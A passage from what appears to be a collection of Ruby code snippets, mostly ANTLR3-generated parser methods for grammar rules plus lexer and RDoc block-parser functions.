\"token T__76\")\n stream_T__75 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__75\")\n stream_FRAGMENT = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token FRAGMENT\")\n stream_T__78 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__78\")\n stream_ARG_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token ARG_ACTION\")\n stream_T__77 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__77\")\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule id\")\n stream_throws_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule throws_spec\")\n stream_rule_action = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule rule_action\")\n stream_exception_group = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule exception_group\")\n stream_options_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule options_spec\")\n stream_rule_scope_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule rule_scope_spec\")\n stream_alt_list = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule alt_list\")\n begin\n # at line 159:4: ( DOC_COMMENT )? (modifier= ( 'protected' | 'public' | 'private' | 'fragment' ) )? id ( '!' )? (arg= ARG_ACTION )? ( 'returns' rt= ARG_ACTION )? ( throws_spec )? ( options_spec )? ( rule_scope_spec )? ( rule_action )* ':' alt_list ';' ( exception_group )?\n # at line 159:4: ( DOC_COMMENT )?\n alt_15 = 2\n look_15_0 = @input.peek(1)\n\n if (look_15_0 == DOC_COMMENT) \n alt_15 = 1\n end\n case alt_15\n when 1\n # at line 159:4: DOC_COMMENT\n __DOC_COMMENT39__ = match(DOC_COMMENT, TOKENS_FOLLOWING_DOC_COMMENT_IN_rule_791) \n if @state.backtracking == 0\n stream_DOC_COMMENT.add(__DOC_COMMENT39__)\n end\n\n end\n # at line 160:3: (modifier= ( 'protected' | 'public' | 'private' | 'fragment' ) )?\n alt_17 = 2\n look_17_0 = @input.peek(1)\n\n if (look_17_0 == FRAGMENT || look_17_0.between?(T__75, T__77)) \n alt_17 = 1\n end\n case alt_17\n when 1\n # at line 160:5: modifier= ( 'protected' | 'public' | 'private' | 'fragment' )\n # at line 160:14: ( 'protected' | 'public' | 'private' | 'fragment' )\n alt_16 = 4\n case look_16 = @input.peek(1)\n when T__75 then alt_16 = 1\n when T__76 then alt_16 = 2\n when T__77 then alt_16 = 3\n when FRAGMENT then alt_16 = 4\n else\n @state.backtracking > 0 and raise(ANTLR3::Error::BacktrackingFailed)\n\n nvae = NoViableAlternative(\"\", 16, 0)\n raise nvae\n end\n case alt_16\n when 1\n # at line 160:15: 'protected'\n string_literal40 = match(T__75, TOKENS_FOLLOWING_T__75_IN_rule_801) \n if @state.backtracking == 0\n stream_T__75.add(string_literal40)\n end\n\n when 2\n # at line 160:27: 'public'\n string_literal41 = match(T__76, TOKENS_FOLLOWING_T__76_IN_rule_803) \n if @state.backtracking == 0\n stream_T__76.add(string_literal41)\n end\n\n when 3\n # at line 160:36: 'private'\n string_literal42 = match(T__77, TOKENS_FOLLOWING_T__77_IN_rule_805) \n if @state.backtracking == 0\n stream_T__77.add(string_literal42)\n end\n\n when 4\n # at line 160:46: 'fragment'\n string_literal43 = match(FRAGMENT, TOKENS_FOLLOWING_FRAGMENT_IN_rule_807) \n if @state.backtracking == 0\n stream_FRAGMENT.add(string_literal43)\n end\n\n end\n\n end\n @state.following.push(TOKENS_FOLLOWING_id_IN_rule_815)\n id44 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add(id44.tree)\n end\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @rule_stack[-1].name = (id44.nil? ? nil : @input.to_s(id44.start,id44.stop)) \n # <-- action\n end\n # at line 162:3: ( '!' )?\n alt_18 = 2\n look_18_0 = @input.peek(1)\n\n if (look_18_0 == BANG) \n alt_18 = 1\n end\n case alt_18\n when 1\n # at line 162:3: '!'\n char_literal45 = match(BANG, TOKENS_FOLLOWING_BANG_IN_rule_821) \n if @state.backtracking == 0\n stream_BANG.add(char_literal45)\n end\n\n end\n # at line 163:3: (arg= ARG_ACTION )?\n alt_19 = 2\n look_19_0 = @input.peek(1)\n\n if (look_19_0 == ARG_ACTION) \n alt_19 = 1\n end\n case alt_19\n when 1\n # at line 163:5: arg= ARG_ACTION\n arg = match(ARG_ACTION, TOKENS_FOLLOWING_ARG_ACTION_IN_rule_830) \n if @state.backtracking == 0\n stream_ARG_ACTION.add(arg)\n end\n\n end\n # at line 164:3: ( 'returns' rt= ARG_ACTION )?\n alt_20 = 2\n look_20_0 = @input.peek(1)\n\n if (look_20_0 == RET) \n alt_20 = 1\n end\n case alt_20\n when 1\n # at line 164:5: 'returns' rt= ARG_ACTION\n string_literal46 = match(RET, TOKENS_FOLLOWING_RET_IN_rule_839) \n if @state.backtracking == 0\n stream_RET.add(string_literal46)\n end\n rt = match(ARG_ACTION, TOKENS_FOLLOWING_ARG_ACTION_IN_rule_843) \n if @state.backtracking == 0\n stream_ARG_ACTION.add(rt)\n end\n\n end\n # at line 165:3: ( throws_spec )?\n alt_21 = 2\n look_21_0 = @input.peek(1)\n\n if (look_21_0 == T__79) \n alt_21 = 1\n end\n case alt_21\n when 1\n # at line 165:3: throws_spec\n @state.following.push(TOKENS_FOLLOWING_throws_spec_IN_rule_851)\n throws_spec47 = throws_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_throws_spec.add(throws_spec47.tree)\n end\n\n end\n # at line 165:16: ( options_spec )?\n alt_22 = 2\n look_22_0 = @input.peek(1)\n\n if (look_22_0 == OPTIONS) \n alt_22 = 1\n end\n case alt_22\n when 1\n # at line 165:16: options_spec\n @state.following.push(TOKENS_FOLLOWING_options_spec_IN_rule_854)\n options_spec48 = options_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_options_spec.add(options_spec48.tree)\n end\n\n end\n # at line 165:30: ( rule_scope_spec )?\n alt_23 = 2\n look_23_0 = @input.peek(1)\n\n if (look_23_0 == SCOPE) \n alt_23 = 1\n end\n case alt_23\n when 1\n # at line 165:30: rule_scope_spec\n @state.following.push(TOKENS_FOLLOWING_rule_scope_spec_IN_rule_857)\n rule_scope_spec49 = rule_scope_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_rule_scope_spec.add(rule_scope_spec49.tree)\n end\n\n end\n # at line 165:47: ( rule_action )*\n loop do #loop 24\n alt_24 = 2\n look_24_0 = @input.peek(1)\n\n if (look_24_0 == AT) \n alt_24 = 1\n\n end\n case alt_24\n when 1\n # at line 165:47: rule_action\n @state.following.push(TOKENS_FOLLOWING_rule_action_IN_rule_860)\n rule_action50 = rule_action\n @state.following.pop\n if @state.backtracking == 0\n stream_rule_action.add(rule_action50.tree)\n end\n\n else\n break #loop 24\n end\n end\n char_literal51 = match(T__78, TOKENS_FOLLOWING_T__78_IN_rule_865) \n if @state.backtracking == 0\n stream_T__78.add(char_literal51)\n end\n @state.following.push(TOKENS_FOLLOWING_alt_list_IN_rule_867)\n alt_list52 = alt_list\n @state.following.pop\n if @state.backtracking == 0\n stream_alt_list.add(alt_list52.tree)\n end\n char_literal53 = match(T__71, TOKENS_FOLLOWING_T__71_IN_rule_869) \n if @state.backtracking == 0\n stream_T__71.add(char_literal53)\n end\n # at line 167:3: ( exception_group )?\n alt_25 = 2\n look_25_0 = @input.peek(1)\n\n if (look_25_0.between?(T__84, T__85)) \n alt_25 = 1\n end\n case alt_25\n when 1\n # at line 167:3: exception_group\n @state.following.push(TOKENS_FOLLOWING_exception_group_IN_rule_873)\n exception_group54 = exception_group\n @state.following.pop\n if @state.backtracking == 0\n stream_exception_group.add(exception_group54.tree)\n end\n\n end\n # AST Rewrite\n # elements: options_spec, exception_group, RET, throws_spec, rule_action, rt, arg, id, alt_list, rule_scope_spec\n # token labels: arg, rt\n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_arg = token_stream(\"token arg\", arg)\n stream_rt = token_stream(\"token rt\", rt)\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 168:6: -> ^( RULE id ( ^( ARG[$arg] $arg) )? ( ^( 'returns' $rt) )? ( throws_spec )? ( options_spec )? ( rule_scope_spec )? ( rule_action )* alt_list ( exception_group )? EOR[\\\"EOR\\\"] )\n # at line 168:9: ^( RULE id ( ^( ARG[$arg] $arg) )? ( ^( 'returns' $rt) )? ( throws_spec )? ( options_spec )? ( rule_scope_spec )? ( rule_action )* alt_list ( exception_group )? EOR[\\\"EOR\\\"] )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(@adaptor.create_from_type!(RULE, \"RULE\"), root_1)\n\n @adaptor.add_child(root_1, stream_id.next_tree)\n @adaptor.add_child(root_1, modifier ? @adaptor.create!(modifier) : nil)\n # at line 168:68: ( ^( ARG[$arg] $arg) )?\n if stream_arg.has_next?\n # at line 168:68: ^( ARG[$arg] $arg)\n root_2 = @adaptor.create_flat_list!\n root_2 = @adaptor.become_root(@adaptor.create!(ARG, arg), root_2)\n\n @adaptor.add_child(root_2, stream_arg.next_node)\n\n @adaptor.add_child(root_1, root_2)\n\n end\n\n stream_arg.reset();\n # at line 168:87: ( ^( 'returns' $rt) )?\n if stream_RET.has_next? || stream_rt.has_next?\n # at line 168:87: ^( 'returns' $rt)\n root_2 = @adaptor.create_flat_list!\n root_2 = @adaptor.become_root(stream_RET.next_node, root_2)\n\n @adaptor.add_child(root_2, stream_rt.next_node)\n\n @adaptor.add_child(root_1, root_2)\n\n end\n\n stream_RET.reset();\n stream_rt.reset();\n # at line 169:9: ( throws_spec )?\n if stream_throws_spec.has_next?\n @adaptor.add_child(root_1, stream_throws_spec.next_tree)\n\n end\n\n stream_throws_spec.reset();\n # at line 169:22: ( options_spec )?\n if stream_options_spec.has_next?\n @adaptor.add_child(root_1, stream_options_spec.next_tree)\n\n end\n\n stream_options_spec.reset();\n # at line 169:36: ( rule_scope_spec )?\n if stream_rule_scope_spec.has_next?\n @adaptor.add_child(root_1, stream_rule_scope_spec.next_tree)\n\n end\n\n stream_rule_scope_spec.reset();\n # at line 169:53: ( rule_action )*\n while stream_rule_action.has_next?\n @adaptor.add_child(root_1, stream_rule_action.next_tree)\n\n end\n\n stream_rule_action.reset();\n @adaptor.add_child(root_1, stream_alt_list.next_tree)\n # at line 171:9: ( exception_group )?\n if stream_exception_group.has_next?\n @adaptor.add_child(root_1, stream_exception_group.next_tree)\n\n end\n\n stream_exception_group.reset();\n @adaptor.add_child(root_1, @adaptor.create!(EOR, \"EOR\"))\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 10)\n @rule_stack.pop\n\n end\n \n return return_value\n end", "def parse src\n @src = src\n @src.push false\n\n @footnotes = []\n @labels = {}\n\n # @i: index(line no.) of src\n @i = 0\n\n # stack for current indentation\n @indent_stack = []\n\n # how indented.\n @current_indent = @indent_stack.join(\"\")\n\n # RDoc::RD::BlockParser for tmp src\n @subparser = nil\n\n # which part is in now\n @in_part = nil\n @part_content = []\n\n @in_verbatim = false\n\n @yydebug = true\n\n document = do_parse\n\n unless @footnotes.empty? then\n blankline = document.parts.pop\n\n document.parts << RDoc::Markup::Rule.new(1)\n document.parts.concat @footnotes\n\n document.parts.push blankline\n end\n\n document\nend", "def rule\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 10 )\n @rule_stack.push( @@rule.new )\n return_value = RuleReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n modifier = nil\n arg = nil\n rt = nil\n __DOC_COMMENT39__ = nil\n string_literal40 = nil\n string_literal41 = nil\n string_literal42 = nil\n string_literal43 = nil\n char_literal45 = nil\n string_literal46 = nil\n char_literal51 = nil\n char_literal53 = nil\n id44 = nil\n throws_spec47 = nil\n options_spec48 = nil\n rule_scope_spec49 = nil\n rule_action50 = nil\n alt_list52 = nil\n exception_group54 = nil\n\n tree_for_modifier = nil\n tree_for_arg = nil\n tree_for_rt = nil\n tree_for_DOC_COMMENT39 = nil\n tree_for_string_literal40 = nil\n tree_for_string_literal41 = nil\n tree_for_string_literal42 = nil\n tree_for_string_literal43 = nil\n tree_for_char_literal45 = nil\n tree_for_string_literal46 = nil\n tree_for_char_literal51 = nil\n tree_for_char_literal53 = nil\n stream_DOC_COMMENT = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token DOC_COMMENT\" )\n stream_RET = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token RET\" )\n stream_T__71 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__71\" )\n stream_BANG = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token BANG\" )\n stream_T__76 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__76\" )\n stream_T__75 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__75\" )\n stream_FRAGMENT = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token FRAGMENT\" )\n stream_T__78 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__78\" )\n stream_ARG_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token ARG_ACTION\" )\n stream_T__77 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__77\" )\n stream_id = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule id\" )\n stream_throws_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule throws_spec\" )\n stream_rule_action = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule rule_action\" )\n stream_exception_group = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule exception_group\" )\n stream_options_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule options_spec\" )\n stream_rule_scope_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule rule_scope_spec\" )\n stream_alt_list = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule alt_list\" )\n begin\n # at line 150:4: ( DOC_COMMENT )? (modifier= ( 'protected' | 'public' | 'private' | 'fragment' ) )? id ( '!' )? (arg= ARG_ACTION )? ( 'returns' rt= ARG_ACTION )? ( throws_spec )? ( options_spec )? ( rule_scope_spec )? ( rule_action )* ':' alt_list ';' ( exception_group )?\n # at line 150:4: ( DOC_COMMENT )?\n alt_15 = 2\n look_15_0 = @input.peek( 1 )\n\n if ( look_15_0 == DOC_COMMENT )\n alt_15 = 1\n end\n case alt_15\n when 1\n # at line 150:4: DOC_COMMENT\n __DOC_COMMENT39__ = match( DOC_COMMENT, TOKENS_FOLLOWING_DOC_COMMENT_IN_rule_786 )\n if @state.backtracking == 0\n stream_DOC_COMMENT.add( __DOC_COMMENT39__ )\n end\n\n end\n # at line 151:3: (modifier= ( 'protected' | 'public' | 'private' | 'fragment' ) )?\n alt_17 = 2\n look_17_0 = @input.peek( 1 )\n\n if ( look_17_0 == FRAGMENT || look_17_0.between?( T__75, T__77 ) )\n alt_17 = 1\n end\n case alt_17\n when 1\n # at line 151:5: modifier= ( 'protected' | 'public' | 'private' | 'fragment' )\n # at line 151:14: ( 'protected' | 'public' | 'private' | 'fragment' )\n alt_16 = 4\n case look_16 = @input.peek( 1 )\n when T__75 then alt_16 = 1\n when T__76 then alt_16 = 2\n when T__77 then alt_16 = 3\n when FRAGMENT then alt_16 = 4\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 16, 0 )\n end\n case alt_16\n when 1\n # at line 151:15: 'protected'\n string_literal40 = match( T__75, TOKENS_FOLLOWING_T__75_IN_rule_796 )\n if @state.backtracking == 0\n stream_T__75.add( string_literal40 )\n end\n\n when 2\n # at line 151:27: 'public'\n string_literal41 = match( T__76, TOKENS_FOLLOWING_T__76_IN_rule_798 )\n if @state.backtracking == 0\n stream_T__76.add( string_literal41 )\n end\n\n when 3\n # at line 151:36: 'private'\n string_literal42 = match( T__77, TOKENS_FOLLOWING_T__77_IN_rule_800 )\n if @state.backtracking == 0\n stream_T__77.add( string_literal42 )\n end\n\n when 4\n # at line 151:46: 'fragment'\n string_literal43 = match( FRAGMENT, TOKENS_FOLLOWING_FRAGMENT_IN_rule_802 )\n if @state.backtracking == 0\n stream_FRAGMENT.add( string_literal43 )\n end\n\n end\n\n end\n @state.following.push( TOKENS_FOLLOWING_id_IN_rule_810 )\n id44 = id\n @state.following.pop\n if @state.backtracking == 0\n stream_id.add( id44.tree )\n end\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @rule_stack.last.name = ( id44 && @input.to_s( id44.start, id44.stop ) ) \n # <-- action\n end\n # at line 153:3: ( '!' )?\n alt_18 = 2\n look_18_0 = @input.peek( 1 )\n\n if ( look_18_0 == BANG )\n alt_18 = 1\n end\n case alt_18\n when 1\n # at line 153:3: '!'\n char_literal45 = match( BANG, TOKENS_FOLLOWING_BANG_IN_rule_816 )\n if @state.backtracking == 0\n stream_BANG.add( char_literal45 )\n end\n\n end\n # at line 154:3: (arg= ARG_ACTION )?\n alt_19 = 2\n look_19_0 = @input.peek( 1 )\n\n if ( look_19_0 == ARG_ACTION )\n alt_19 = 1\n end\n case alt_19\n when 1\n # at line 154:5: arg= ARG_ACTION\n arg = match( ARG_ACTION, TOKENS_FOLLOWING_ARG_ACTION_IN_rule_825 )\n if @state.backtracking == 0\n stream_ARG_ACTION.add( arg )\n end\n\n end\n # at line 155:3: ( 'returns' rt= ARG_ACTION )?\n alt_20 = 2\n look_20_0 = @input.peek( 1 )\n\n if ( look_20_0 == RET )\n alt_20 = 1\n end\n case alt_20\n when 1\n # at line 155:5: 'returns' rt= ARG_ACTION\n string_literal46 = match( RET, TOKENS_FOLLOWING_RET_IN_rule_834 )\n if @state.backtracking == 0\n stream_RET.add( string_literal46 )\n end\n rt = match( ARG_ACTION, TOKENS_FOLLOWING_ARG_ACTION_IN_rule_838 )\n if @state.backtracking == 0\n stream_ARG_ACTION.add( rt )\n end\n\n end\n # at line 156:3: ( throws_spec )?\n alt_21 = 2\n look_21_0 = @input.peek( 1 )\n\n if ( look_21_0 == T__79 )\n alt_21 = 1\n end\n case alt_21\n when 1\n # at line 156:3: throws_spec\n @state.following.push( TOKENS_FOLLOWING_throws_spec_IN_rule_846 )\n throws_spec47 = throws_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_throws_spec.add( throws_spec47.tree )\n end\n\n end\n # at line 156:16: ( options_spec )?\n alt_22 = 2\n look_22_0 = @input.peek( 1 )\n\n if ( look_22_0 == OPTIONS )\n alt_22 = 1\n end\n case alt_22\n when 1\n # at line 156:16: options_spec\n @state.following.push( TOKENS_FOLLOWING_options_spec_IN_rule_849 )\n options_spec48 = options_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_options_spec.add( options_spec48.tree )\n end\n\n end\n # at line 156:30: ( rule_scope_spec )?\n alt_23 = 2\n look_23_0 = @input.peek( 1 )\n\n if ( look_23_0 == SCOPE )\n alt_23 = 1\n end\n case alt_23\n when 1\n # at line 156:30: rule_scope_spec\n @state.following.push( TOKENS_FOLLOWING_rule_scope_spec_IN_rule_852 )\n rule_scope_spec49 = rule_scope_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_rule_scope_spec.add( rule_scope_spec49.tree )\n end\n\n end\n # at line 156:47: ( rule_action )*\n while true # decision 24\n alt_24 = 2\n look_24_0 = @input.peek( 1 )\n\n if ( look_24_0 == AT )\n alt_24 = 1\n\n end\n case alt_24\n when 1\n # at line 156:47: rule_action\n @state.following.push( TOKENS_FOLLOWING_rule_action_IN_rule_855 )\n rule_action50 = rule_action\n @state.following.pop\n if @state.backtracking == 0\n stream_rule_action.add( rule_action50.tree )\n end\n\n else\n break # out of loop for decision 24\n end\n end # loop for decision 24\n char_literal51 = match( T__78, TOKENS_FOLLOWING_T__78_IN_rule_860 )\n if @state.backtracking == 0\n stream_T__78.add( char_literal51 )\n end\n @state.following.push( TOKENS_FOLLOWING_alt_list_IN_rule_862 )\n alt_list52 = alt_list\n @state.following.pop\n if @state.backtracking == 0\n stream_alt_list.add( alt_list52.tree )\n end\n char_literal53 = match( T__71, TOKENS_FOLLOWING_T__71_IN_rule_864 )\n if @state.backtracking == 0\n stream_T__71.add( char_literal53 )\n end\n # at line 158:3: ( exception_group )?\n alt_25 = 2\n look_25_0 = @input.peek( 1 )\n\n if ( look_25_0.between?( T__84, T__85 ) )\n alt_25 = 1\n end\n case alt_25\n when 1\n # at line 158:3: exception_group\n @state.following.push( TOKENS_FOLLOWING_exception_group_IN_rule_868 )\n exception_group54 = exception_group\n @state.following.pop\n if @state.backtracking == 0\n stream_exception_group.add( exception_group54.tree )\n end\n\n end\n # AST Rewrite\n # elements: id, arg, rule_action, throws_spec, rule_scope_spec, exception_group, options_spec, rt, RET, alt_list\n # token labels: arg, rt\n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_arg = token_stream( \"token arg\", arg )\n stream_rt = token_stream( \"token rt\", rt )\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 159:6: -> ^( RULE id ( ^( ARG[$arg] $arg) )? ( ^( 'returns' $rt) )? ( throws_spec )? ( options_spec )? ( rule_scope_spec )? ( rule_action )* alt_list ( exception_group )? EOR[\\\"EOR\\\"] )\n # at line 159:9: ^( RULE id ( ^( ARG[$arg] $arg) )? ( ^( 'returns' $rt) )? ( throws_spec )? ( options_spec )? ( rule_scope_spec )? ( rule_action )* alt_list ( exception_group )? EOR[\\\"EOR\\\"] )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( RULE, \"RULE\" ), root_1 )\n\n @adaptor.add_child( root_1, stream_id.next_tree )\n @adaptor.add_child( root_1, ( modifier ? @adaptor.create(modifier) : nil ) )\n # at line 159:67: ( ^( ARG[$arg] $arg) )?\n if stream_arg.has_next?\n # at line 159:67: ^( ARG[$arg] $arg)\n root_2 = @adaptor.create_flat_list\n root_2 = @adaptor.become_root( @adaptor.create( ARG, arg ), root_2 )\n\n @adaptor.add_child( root_2, stream_arg.next_node )\n\n @adaptor.add_child( root_1, root_2 )\n\n end\n\n stream_arg.reset();\n # at line 159:86: ( ^( 'returns' $rt) )?\n if stream_rt.has_next? || stream_RET.has_next?\n # at line 159:86: ^( 'returns' $rt)\n root_2 = @adaptor.create_flat_list\n root_2 = @adaptor.become_root( stream_RET.next_node, root_2 )\n\n @adaptor.add_child( root_2, stream_rt.next_node )\n\n @adaptor.add_child( root_1, root_2 )\n\n end\n\n stream_rt.reset();\n stream_RET.reset();\n # at line 160:9: ( throws_spec )?\n if stream_throws_spec.has_next?\n @adaptor.add_child( root_1, stream_throws_spec.next_tree )\n\n end\n\n stream_throws_spec.reset();\n # at line 160:22: ( options_spec )?\n if stream_options_spec.has_next?\n @adaptor.add_child( root_1, stream_options_spec.next_tree )\n\n end\n\n stream_options_spec.reset();\n # at line 160:36: ( rule_scope_spec )?\n if stream_rule_scope_spec.has_next?\n @adaptor.add_child( root_1, stream_rule_scope_spec.next_tree )\n\n end\n\n stream_rule_scope_spec.reset();\n # at line 160:53: ( rule_action )*\n while stream_rule_action.has_next?\n @adaptor.add_child( root_1, stream_rule_action.next_tree )\n\n end\n\n stream_rule_action.reset();\n @adaptor.add_child( root_1, stream_alt_list.next_tree )\n # at line 162:9: ( exception_group )?\n if stream_exception_group.has_next?\n @adaptor.add_child( root_1, stream_exception_group.next_tree )\n\n end\n\n stream_exception_group.reset();\n @adaptor.add_child( root_1, @adaptor.create( EOR, \"EOR\" ) )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 10 )\n @rule_stack.pop\n\n end\n \n return return_value\n end", "def next_token\n\n token = nil\n\n until ss.eos? or token do\n if ss.check(/\\n/) then\n self.lineno += 1\n # line starts 1 position after the newline\n self.start_of_current_line_pos = ss.pos + 1\n end\n self.old_pos = ss.pos\n token =\n case state\n when nil, :option, :inner, :start, :macro, :rule, :group then\n case\n when ss.skip(/options?.*/) then\n [:state, :option]\n when ss.skip(/inner.*/) then\n [:state, :inner]\n when ss.skip(/macros?.*/) then\n [:state, :macro]\n when ss.skip(/rules?.*/) then\n [:state, :rule]\n when ss.skip(/start.*/) then\n [:state, :start]\n when ss.skip(/end/) then\n [:state, :END]\n when ss.skip(/\\A((?:.|\\n)*)class ([\\w:]+.*)/) then\n action { [:class, *matches] }\n when ss.skip(/\\n+/) then\n # do nothing\n when text = ss.scan(/\\s*(\\#.*)/) then\n action { [:comment, text] }\n when (state == :option) && (ss.skip(/\\s+/)) then\n # do nothing\n when (state == :option) && (text = ss.scan(/stub/i)) then\n action { [:option, text] }\n when (state == :option) && (text = ss.scan(/debug/i)) then\n action { [:option, text] }\n when (state == :option) && (text = ss.scan(/do_parse/i)) then\n action { [:option, text] }\n when (state == :option) && (text = ss.scan(/lineno/i)) then\n action { [:option, text] }\n when (state == :option) && (text = ss.scan(/column/i)) then\n action { [:option, text] }\n when (state == :inner) && (text = ss.scan(/.*/)) then\n action { [:inner, text] }\n when (state == :start) && (text = ss.scan(/.*/)) then\n action { [:start, text] }\n when (state == :macro) && (ss.skip(/\\s+(\\w+)\\s+#{RE}/o)) then\n action { [:macro, *matches] }\n when (state == :rule) && (ss.skip(/\\s*#{ST}?[\\ \\t]*#{RE}[\\ \\t]*#{ACT}?/o)) then\n action { [:rule, *matches] }\n when (state == :rule) && (ss.skip(/\\s*:[\\ \\t]*#{RE}/o)) then\n action { [:grouphead, *matches] }\n when (state == :group) && (ss.skip(/\\s*:[\\ \\t]*#{RE}/o)) then\n action { [:grouphead, *matches] }\n when (state == :group) && (ss.skip(/\\s*\\|\\s*#{ST}?[\\ \\t]*#{RE}[\\ \\t]*#{ACT}?/o)) then\n action { [:group, *matches] }\n when (state == :group) && (ss.skip(/\\s*#{ST}?[\\ \\t]*#{RE}[\\ \\t]*#{ACT}?/o)) then\n action { [:groupend, *matches] }\n else\n text = ss.string[ss.pos .. -1]\n raise ScanError, \"can not match (#{state.inspect}) at #{location}: '#{text}'\"\n end\n when :END then\n case\n when ss.skip(/\\n+/) then\n # do nothing\n when text = ss.scan(/.*/) then\n action { [:end, text] }\n else\n text = ss.string[ss.pos .. -1]\n raise ScanError, \"can not match (#{state.inspect}) at #{location}: '#{text}'\"\n end\n else\n raise ScanError, \"undefined state at #{location}: '#{state}'\"\n end # token = case state\n\n next unless token # allow functions to trigger redo w/ nil\n end # while\n\n raise LexerError, \"bad lexical result at #{location}: #{token.inspect}\" unless\n token.nil? || (Array === token && token.size >= 2)\n\n # auto-switch state\n self.state = token.last if token && token.first == :state\n\n token\n end", "def read( start_position )\n pos = start_position.adjusted_stream_position\n line_number = column_number = 0\n\n if @source.at_eof?(stream_position) then\n line_number = @source.eof_line_number\n column_number = @source.eof_column_number\n else\n line_number = @source.line_number(stream_position)\n column_number = @source.column_number(stream_position)\n end\n \n characters = []\n states = [ start_position.state ]\n\n forever do\n c = readc(pos)\n action = states[-1].action_for( c )\n \n case action\n \n #\n # Read a single character and prepare to move on.\n \n when Plan::Actions::Read\n characters << c\n states << action.to_state\n pos += 1\n \n \n #\n # Group several characters for further processing. Unlike in the Parser, we\n # perform the Shift here directly. We don't move the pos, because nothing was\n # used.\n \n when Plan::Actions::Group\n length = action.by_production.length\n group = characters.slice!(-length..-1)\n states.slice!(-length..-1)\n states << states[-1].action_for(action.by_production.name).to_state\n characters << group\n\n\n #\n # Tokenize ends the read() operation. We set our answer into the start_position\n # and return.\n \n when Plan::Actions::Tokenize\n length = action.by_production.length\n if characters.length == length then\n start_position.determinant = Nodes::Token.new( characters.flatten, action.by_production.name, start_position.adjusted_stream_position, line_number, column_number, @source )\n break\n else\n nyi( \"error handling for too short Tokenize\" )\n end\n \n \n #\n # For lexical stuff, all Attempt actions will be of the same type. For Group\n # actions, we want the longest match (always), so we need to try all branches\n # and find the longest Token produced. For Tokenize, we need to interact with\n # the Parser's BranchInfo system.\n \n when Plan::Actions::Attempt\n case action.actions[0]\n when Plan::Actions::Group\n nyi()\n when Plan::Actions::Tokenize\n nyi()\n else\n nyi( \"attempt support for 